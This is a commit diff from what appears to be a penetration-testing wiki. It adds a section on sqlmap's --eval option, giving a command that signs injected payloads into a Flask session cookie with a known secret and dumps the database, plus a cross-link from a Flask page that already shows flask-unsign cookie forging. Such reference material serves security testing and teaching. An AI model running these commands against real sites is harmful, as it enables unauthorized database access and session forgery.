Skip to content

Commit b5e2b35

Browse files
carlospolopgitbook-bot
authored andcommitted
GitBook: [master] 2 pages modified
1 parent f774ba6 commit b5e2b35

File tree

2 files changed

+11
-1
lines changed

2 files changed

+11
-1
lines changed

pentesting-web/sql-injection/sqlmap/README.md

+8
Original file line numberDiff line numberDiff line change
@@ -91,6 +91,14 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
9191
--string="string_showed_when_TRUE"
9292
```
9393

94+
### Eval
95+
96+
**Sqlmap** allows the use of `-e` or `--eval` to process each payload before sending it with some python oneliner. This makes very easy and fast to process in custom ways the payload before sending it. In the following example the **flask cookie session** **is signed by flask with the known secret before sending it**:
97+
98+
```bash
99+
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
100+
```
101+
94102
### Shell
95103

96104
```bash

pentesting/pentesting-web/flask.md

+3-1
Original file line numberDiff line numberDiff line change
@@ -54,5 +54,7 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
5454
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
5555
```
5656

57-
####
57+
### SQLi in Flask session cookie with SQLmap
58+
59+
[**This example**](../../pentesting-web/sql-injection/sqlmap/#eval) ****uses sqlmap `eval` option to **automatically sign sqlmap payloads** for flask using a known secret.
5860

0 commit comments

Comments
 (0)